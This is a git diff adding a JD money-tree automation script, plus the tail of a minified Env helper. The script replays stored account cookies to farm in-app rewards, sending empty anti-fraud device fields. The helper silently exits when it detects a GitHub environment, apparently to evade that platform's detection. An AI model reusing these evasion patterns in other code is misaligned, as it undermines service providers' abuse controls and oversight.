+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
\ No newline at end of file
diff --git a/Task/jd_moneyTree.js b/Task/jd_moneyTree.js
new file mode 100644
index 0000000..e7f2377
--- /dev/null
+++ b/Task/jd_moneyTree.js
@@ -0,0 +1,883 @@
+/*
+京东摇钱树 :jd_moneyTree.js
+更新时间:2021-4-23
+活动入口:京东APP我的-更多工具-摇钱树,[活动链接](https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index/?channel=yxhd)
+京东摇钱树支持京东双账号
+注:如果使用Node.js, 需自行安装'crypto-js,got,http-server,tough-cookie'模块. 例: npm install crypto-js http-server tough-cookie got --save
+===============Quantumultx===============
+[task_local]
+#京东摇钱树
+3 0-23/2 * * * jd_moneyTree.js, tag=京东摇钱树, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyqs.png, enabled=true
+
+==============Loon===========
+[Script]
+cron "3 0-23/2 * * *" script-path=jd_moneyTree.js,tag=京东摇钱树
+
+===============Surge===========
+京东摇钱树 = type=cron,cronexp="3 0-23/2 * * *",wake-system=1,timeout=3600,script-path=jd_moneyTree.js
+
+============小火箭=========
+京东摇钱树 = type=cron,script-path=jd_moneyTree.js, cronexpr="3 0-23/2 * * *", timeout=3600, enable=true
+*/
+
+const $ = new Env('京东摇钱树');
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '', allMsg = ``;
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+
+let jdNotify = false;//是否开启静默运行,默认false开启
+let sellFruit = true;//是否卖出金果得到金币,默认'true'卖金果
+const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m';
+let userInfo = null, taskInfo = [], message = '', subTitle = '', fruitTotal = 0;
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ await TotalBean();
+ console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ message = '';
+ subTitle = '';
+ await jd_moneyTree();
+ }
+ }
+ if (allMsg) {
+ jdNotify = $.isNode() ? (process.env.MONEYTREE_NOTIFY_CONTROL ? process.env.MONEYTREE_NOTIFY_CONTROL : jdNotify) : ($.getdata('jdMoneyTreeNotify') ? $.getdata('jdMoneyTreeNotify') : jdNotify);
+ if (!jdNotify || jdNotify === 'false') {
+ if ($.isNode()) await notify.sendNotify($.name, allMsg);
+ $.msg($.name, '', allMsg)
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+
+async function jd_moneyTree() {
+ try {
+ const userRes = await user_info();
+ if (!userRes || !userRes.realName) return
+ await signEveryDay();
+ await dayWork();
+ await harvest();
+ await sell();
+ await myWealth();
+ await stealFriendFruit()
+
+ $.log(`\n${message}\n`);
+ } catch (e) {
+ $.logErr(e)
+ }
+}
+
+function user_info() {
+ console.log('初始化摇钱树个人信息');
+ const params = {
+ "sharePin": "",
+ "shareType": 1,
+ "channelLV": "",
+ "source": 2,
+ "riskDeviceParam": {
+ "eid": "",
+ "fp": "",
+ "sdkToken": "",
+ "token": "",
+ "jstub": "",
+ "appType": "2",
+ }
+ }
+ params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);
+ // await $.wait(5000); //歇口气儿, 不然会报操作频繁
+ return new Promise((resolve, reject) => {
+ $.post(taskurl('login', params), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log("\n摇钱树京东API请求失败 ‼️‼️")
+ console.log(JSON.stringify(err));
+ } else {
+ if (data) {
+ const res = JSON.parse(data);
+ if (res && res.resultCode === 0) {
+ $.isLogin = true;
+ console.log('resultCode为0')
+ if (res.resultData.data) {
+ userInfo = res.resultData.data;
+ // userInfo.realName = null;
+ if (userInfo.realName) {
+ // console.log(`助力码sharePin为::${userInfo.sharePin}`);
+ $.treeMsgTime = userInfo.sharePin;
+ subTitle = `【${userInfo.nick}】${userInfo.treeInfo.treeName}`;
+ // message += `【我的金果数量】${userInfo.treeInfo.fruit}\n`;
+ // message += `【我的金币数量】${userInfo.treeInfo.coin}\n`;
+ // message += `【距离${userInfo.treeInfo.level + 1}级摇钱树还差】${userInfo.treeInfo.progressLeft}\n`;
+ } else {
+ $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`)
+ // $.msg($.name, `【提示】京东账号${$.index}${$.UserName}运行失败`, '此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证', {"open-url": "openApp.jdMobile://"});
+ }
+ }
+ } else {
+ console.log(`其他情况::${JSON.stringify(res)}`);
+ }
+ } else {
+ console.log(`京豆api返回数据为空,请检查自身原因`)
+ }
+ }
+ } catch (eor) {
+ $.logErr(eor, err)
+ } finally {
+ resolve(userInfo)
+ }
+ })
+ })
+}
+
+function dayWork() {
+ console.log(`开始做任务userInfo了\n`)
+ return new Promise(async resolve => {
+ const data = {
+ "source": 0,
+ "linkMissionIds": ["666", "667"],
+ "LinkMissionIdValues": [7, 7],
+ "riskDeviceParam": {
+ "eid": "",
+ "dt": "",
+ "ma": "",
+ "im": "",
+ "os": "",
+ "osv": "",
+ "ip": "",
+ "apid": "",
+ "ia": "",
+ "uu": "",
+ "cv": "",
+ "nt": "",
+ "at": "1",
+ "fp": "",
+ "token": ""
+ }
+ };
+ let response = await request('dayWork', data);
+ // console.log(`获取任务的信息:${JSON.stringify(response)}\n`)
+ let canTask = [];
+ taskInfo = [];
+ if (response && response.resultCode === 0) {
+ if (response.resultData.code === '200') {
+ response.resultData.data.map((item) => {
+ if (item.prizeType === 2) {
+ canTask.push(item);
+ }
+ if (item.workType === 7 && item.prizeType === 0) {
+ // missionId.push(item.mid);
+ taskInfo.push(item);
+ }
+ // if (item.workType === 7 && item.prizeType === 0) {
+ // missionId2 = item.mid;
+ // }
+ })
+ }
+ }
+ console.log(`canTask::${JSON.stringify(canTask)}\n`)
+ console.log(`浏览任务列表taskInfo::${JSON.stringify(taskInfo)}\n`)
+ for (let item of canTask) {
+ if (item.workType === 1) {
+ // 签到任务
+ // let signRes = await sign();
+ // console.log(`签到结果:${JSON.stringify(signRes)}`);
+ if (item.workStatus === 0) {
+ // const data = {"source":2,"workType":1,"opType":2};
+ // let signRes = await request('doWork', data);
+ let signRes = await sign();
+ console.log(`三餐签到结果:${JSON.stringify(signRes)}`);
+ } else if (item.workStatus === 2) {
+ console.log(`三餐签到任务已经做过`)
+ } else if (item.workStatus === -1) {
+ console.log(`三餐签到任务不在时间范围内`)
+ }
+ } else if (item.workType === 2) {
+ // 分享任务
+ if (item.workStatus === 0) {
+ // share();
+ const data = {"source": 0, "workType": 2, "opType": 1};
+ //开始分享
+ // let shareRes = await request('doWork', data);
+ let shareRes = await share(data);
+ console.log(`开始分享的动作:${JSON.stringify(shareRes)}`);
+ const b = {"source": 0, "workType": 2, "opType": 2};
+ // let shareResJL = await request('doWork', b);
+ let shareResJL = await share(b);
+ console.log(`领取分享后的奖励:${JSON.stringify(shareResJL)}`)
+ } else if (item.workStatus === 2) {
+ console.log(`分享任务已经做过`)
+ }
+ }
+ }
+ for (let task of taskInfo) {
+ if (task.mid && task.workStatus === 0) {
+ console.log('开始做浏览任务');
+ // yield setUserLinkStatus(task.mid);
+ let aa = await setUserLinkStatus(task.mid);
+ console.log(`aaa${JSON.stringify(aa)}`);
+ } else if (task.mid && task.workStatus === 1) {
+ console.log(`workStatus === 1开始领取浏览后的奖励:mid:${task.mid}`);
+ let receiveAwardRes = await receiveAward(task.mid);
+ console.log(`领取浏览任务奖励成功:${JSON.stringify(receiveAwardRes)}`)
+ } else if (task.mid && task.workStatus === 2) {
+ console.log('所有的浏览任务都做完了')
+ }
+ }
+ resolve();
+ });
+}
+
+function harvest() {
+ if (!userInfo) return
+ const data = {
+ "source": 2,
+ "sharePin": "",
+ "userId": userInfo.userInfo,
+ "userToken": userInfo.userToken,
+ "shareType": 1,
+ "channel": "",
+ "riskDeviceParam": {
+ "eid": "",
+ "appType": 2,
+ "fp": "",
+ "jstub": "",
+ "sdkToken": "",
+ "token": ""
+ }
+ }
+ data.riskDeviceParam = JSON.stringify(data.riskDeviceParam);
+ return new Promise((rs, rj) => {
+ request('harvest', data).then((harvestRes) => {
+ if (harvestRes && harvestRes.resultCode === 0 && harvestRes.resultData.code === '200') {
+ console.log(`\n收获金果成功:${JSON.stringify(harvestRes)}\n`)
+ let data = harvestRes.resultData.data;
+ message += `【距离${data.treeInfo.level + 1}级摇钱树还差】${data.treeInfo.progressLeft}\n`;
+ fruitTotal = data.treeInfo.fruit;
+ } else {
+ console.log(`\n收获金果异常:${JSON.stringify(harvestRes)}`)
+ }
+ rs()
+ // gen.next();
+ })
+ })
+ // request('harvest', data).then((harvestRes) => {
+ // if (harvestRes.resultCode === 0 && harvestRes.resultData.code === '200') {
+ // let data = harvestRes.resultData.data;
+ // message += `【距离${data.treeInfo.level + 1}级摇钱树还差】${data.treeInfo.progressLeft}\n`;
+ // fruitTotal = data.treeInfo.fruit;
+ // gen.next();
+ // }
+ // })
+}
+
+//卖出金果,得到金币
+function sell() {
+ return new Promise((rs, rj) => {
+ const params = {
+ "source": 2,
+ "jtCount": 7.000000000000001,
+ "riskDeviceParam": {
+ "eid": "",
+ "fp": "",
+ "sdkToken": "",
+ "token": "",
+ "jstub": "",
+ "appType": 2,
+ }
+ }
+ params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样)
+ console.log(`目前金果数量${fruitTotal}`)
+ sellFruit = $.isNode() ? (process.env.MONEY_TREE_SELL_FRUIT ? process.env.MONEY_TREE_SELL_FRUIT : `${sellFruit}`) : ($.getdata('MONEY_TREE_SELL_FRUIT') ? $.getdata('MONEY_TREE_SELL_FRUIT') : `${sellFruit}`);
+ if (sellFruit && sellFruit === 'false') {
+ console.log(`\n设置的不卖出金果\n`)
+ rs()
+ return
+ }
+ if (fruitTotal >= 8000 * 7) {
+ if (userInfo['jtRest'] === 0) {
+ console.log(`\n今日已卖出5.6万金果(已达上限),获得0.07金贴\n`)
+ rs()
+ return
+ }
+ request('sell', params).then((sellRes) => {
+ if (sellRes && sellRes['resultCode'] === 0) {
+ if (sellRes['resultData']['code'] === '200') {
+ if (sellRes['resultData']['data']['sell'] === 0) {
+ console.log(`卖出金果成功,获得0.07金贴\n`);
+ allMsg += `账号${$.index}:${$.nickName || $.UserName}\n今日成功卖出5.6万金果,获得0.07金贴${$.index !== cookiesArr.length ? '\n\n' : ''}`
+ } else {
+ console.log(`卖出金果失败:${JSON.stringify(sellRes)}\n`)
+ }
+ }
+ }
+ rs()
+ })
+ } else {
+ console.log(`当前金果数量不够兑换 0.07金贴\n`);
+ rs()
+ }
+ // request('sell', params).then(response => {
+ // rs(response);
+ // })
+ })
+ // request('sell', params).then((sellRes) => {
+ // console.log(`卖出金果结果:${JSON.stringify(sellRes)}\n`)
+ // gen.next();
+ // })
+}
+
+//获取金币和金果数量
+function myWealth() {
+ return new Promise((resolve) => {
+ const params = {
+ "source": 2,
+ "riskDeviceParam": {
+ "eid": "",
+ "dt": "",
+ "ma": "",
+ "im": "",
+ "os": "",
+ "osv": "",
+ "ip": "",
+ "apid": "",
+ "ia": "",
+ "uu": "",
+ "cv": "",
+ "nt": "",
+ "at": "1",
+ "fp": "",
+ "token": ""
+ }
+ }
+ params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样)
+ request('myWealth', params).then(res => {
+ if (res && res.resultCode === 0 && res.resultData.code === '200') {
+ console.log(`金贴和金果数量::${JSON.stringify(res)}`);
+ message += `【我的金果数量】${res.resultData.data.gaAmount}\n`;
+ message += `【我的金贴数量】${res.resultData.data.gcAmount / 100}\n`;
+ }
+ resolve();
+ })
+ });
+}
+
+function sign() {
+ console.log('开始三餐签到')
+ const data = {"source": 2, "workType": 1, "opType": 2};
+ return new Promise((rs, rj) => {
+ request('doWork', data).then(response => {
+ rs(response);
+ })
+ })
+}
+
+function signIndex() {
+ const params = {
+ "source": 0,
+ "riskDeviceParam": {
+ "eid": "",
+ "dt": "",
+ "ma": "",
+ "im": "",
+ "os": "",
+ "osv": "",
+ "ip": "",
+ "apid": "",
+ "ia": "",
+ "uu": "",
+ "cv": "",
+ "nt": "",
+ "at": "1",
+ "fp": "",
+ "token": ""
+ }
+ }
+ return new Promise((rs, rj) => {
+ request('signIndex', params).then(response => {
+ rs(response);
+ })
+ })
+}
+
+function signEveryDay() {
+ return new Promise(async (resolve) => {
+ try {
+ let signIndexRes = await signIndex();
+ if (signIndexRes.resultCode === 0) {
+ console.log(`每日签到条件查询:${signIndexRes.resultData.data.canSign === 2 ? '可以签到' : '已经签到过了'}`);
+ if (signIndexRes.resultData && signIndexRes.resultData.data.canSign == 2) {
+ console.log('准备每日签到')
+ let signOneRes = await signOne(signIndexRes.resultData.data.signDay);
+ console.log(`第${signIndexRes.resultData.data.signDay}日签到结果:${JSON.stringify(signOneRes)}`);
+ if (signIndexRes.resultData.data.signDay === 7) {
+ let getSignAwardRes = await getSignAward();
+ console.log(`店铺券(49-10)领取结果:${JSON.stringify(getSignAwardRes)}`)
+ if (getSignAwardRes.resultCode === 0 && getSignAwardRes.data.code === 0) {
+ message += `【7日签到奖励领取】${getSignAwardRes.datamessage}\n`
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e);
+ } finally {
+ resolve()
+ }
+ })
+}
+
+function signOne(signDay) {
+ const params = {
+ "source": 0,
+ "signDay": signDay,
+ "riskDeviceParam": {
+ "eid": "",
+ "dt": "",
+ "ma": "",
+ "im": "",
+ "os": "",
+ "osv": "",
+ "ip": "",
+ "apid": "",
+ "ia": "",
+ "uu": "",
+ "cv": "",
+ "nt": "",
+ "at": "1",
+ "fp": "",
+ "token": ""
+ }
+ }
+ return new Promise((rs, rj) => {
+ request('signOne', params).then(response => {
+ rs(response);
+ })
+ })
+}
+
+// 领取七日签到后的奖励(店铺优惠券)
+function getSignAward() {
+ const params = {
+ "source": 2,
+ "awardType": 2,
+ "deviceRiskParam": 1,
+ "riskDeviceParam": {
+ "eid": "",
+ "dt": "",
+ "ma": "",
+ "im": "",
+ "os": "",
+ "osv": "",
+ "ip": "",
+ "apid": "",
+ "ia": "",
+ "uu": "",
+ "cv": "",
+ "nt": "",
+ "at": "1",
+ "fp": "",
+ "token": ""
+ }
+ }
+ return new Promise((rs, rj) => {
+ request('getSignAward', params).then(response => {
+ rs(response);
+ })
+ })
+}
+
+// 浏览任务
+async function setUserLinkStatus(missionId) {
+ let index = 0;
+ do {
+ const params = {
+ "missionId": missionId,
+ "pushStatus": 1,
+ "keyValue": index,
+ "riskDeviceParam": {
+ "eid": "",
+ "dt": "",
+ "ma": "",
+ "im": "",
+ "os": "",
+ "osv": "",
+ "ip": "",
+ "apid": "",
+ "ia": "",
+ "uu": "",
+ "cv": "",
+ "nt": "",
+ "at": "1",
+ "fp": "",
+ "token": ""
+ }
+ }
+ let response = await request('setUserLinkStatus', params)
+ console.log(`missionId为${missionId}::第${index + 1}次浏览活动完成: ${JSON.stringify(response)}`);
+ // if (resultCode === 0) {
+ // let sportRevardResult = await getSportReward();
+ // console.log(`领取遛狗奖励完成: ${JSON.stringify(sportRevardResult)}`);
+ // }
+ index++;
+ } while (index < 7) //不知道结束的条件,目前写死循环7次吧
+ console.log('浏览店铺任务结束');
+ console.log('开始领取浏览后的奖励');
+ let receiveAwardRes = await receiveAward(missionId);
+ console.log(`领取浏览任务奖励成功:${JSON.stringify(receiveAwardRes)}`)
+ return new Promise((resolve, reject) => {
+ resolve(receiveAwardRes);
+ })
+ // gen.next();
+}
+
+// 领取浏览后的奖励
+function receiveAward(mid) {
+ if (!mid) return
+ mid = mid + "";
+ const params = {
+ "source": 0,
+ "workType": 7,
+ "opType": 2,
+ "mid": mid,
+ "riskDeviceParam": {
+ "eid": "",
+ "dt": "",
+ "ma": "",
+ "im": "",
+ "os": "",
+ "osv": "",
+ "ip": "",
+ "apid": "",
+ "ia": "",
+ "uu": "",
+ "cv": "",
+ "nt": "",
+ "at": "1",
+ "fp": "",
+ "token": ""
+ }
+ }
+ return new Promise((rs, rj) => {
+ request('doWork', params).then(response => {
+ rs(response);
+ })
+ })
+}
+
+function share(data) {
+ if (data.opType === 1) {
+ console.log(`开始做分享任务\n`)
+ } else {
+ console.log(`开始做领取分享后的奖励\n`)
+ }
+ return new Promise((rs, rj) => {
+ request('doWork', data).then(response => {
+ rs(response);
+ })
+ })
+}
+
+async function stealFriendFruit() {
+ await friendRank();
+ if ($.friendRankList && $.friendRankList.length > 0) {
+ const canSteal = $.friendRankList.some((item) => {
+ const boxShareCode = item.steal
+ return (boxShareCode === true);
+ });
+ if (canSteal) {
+ $.amount = 0;
+ for (let item of $.friendRankList) {
+ if (!item.self && item.steal) {
+ await friendTreeRoom(item.encryPin);
+ const stealFruitRes = await stealFruit(item.encryPin, $.friendTree.stoleInfo);
+ if (stealFruitRes && stealFruitRes.resultCode === 0 && stealFruitRes.resultData.code === '200') {
+ $.amount += stealFruitRes.resultData.data.amount;
+ }
+ }
+ }
+ message += `【偷取好友金果】共${$.amount}个\n`;
+ } else {
+ console.log(`今日已偷过好友的金果了,暂无好友可偷,请明天再来\n`)
+ }
+ } else {
+ console.log(`您暂无好友,故跳过`);
+ }
+}
+
+//获取好友列表API
+async function friendRank() {
+ await $.wait(1000); //歇口气儿, 不然会报操作频繁
+ const params = {
+ "source": 2,
+ "riskDeviceParam": {
+ "eid": "",
+ "dt": "",
+ "ma": "",
+ "im": "",
+ "os": "",
+ "osv": "",
+ "ip": "",
+ "apid": "",
+ "ia": "",
+ "uu": "",
+ "cv": "",
+ "nt": "",
+ "at": "1",
+ "fp": "",
+ "token": ""
+ }
+ }
+ params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样)
+ return new Promise((resolve, reject) => {
+ $.post(taskurl('friendRank', params), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log("\n摇钱树京东API请求失败 ‼️‼️");
+ console.log(JSON.stringify(err));
+ $.logErr(err);
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ $.friendRankList = data.resultData.data;
+ } else {
+ console.log(`京豆api返回数据为空,请检查自身原因`)
+ }
+ }
+ } catch (eor) {
+ $.logErr(eor, err)
+ } finally {
+ resolve()
+ }
+ })
+ })
+}
+
+// 进入好友房间API
+async function friendTreeRoom(friendPin) {
+ await $.wait(1000); //歇口气儿, 不然会报操作频繁
+ const params = {
+ "source": 2,
+ "friendPin": friendPin,
+ "riskDeviceParam": {
+ "eid": "",
+ "dt": "",
+ "ma": "",
+ "im": "",
+ "os": "",
+ "osv": "",
+ "ip": "",
+ "apid": "",
+ "ia": "",
+ "uu": "",
+ "cv": "",
+ "nt": "",
+ "at": "1",
+ "fp": "",
+ "token": ""
+ }
+ }
+ params.riskDeviceParam = JSON.stringify(params.riskDeviceParam);//这一步,不可省略,否则提交会报错(和login接口一样)
+ return new Promise((resolve, reject) => {
+ $.post(taskurl('friendTree', params), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log("\n摇钱树京东API请求失败 ‼️‼️");
+ console.log(JSON.stringify(err));
+ $.logErr(err);
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ $.friendTree = data.resultData.data;
+ } else {
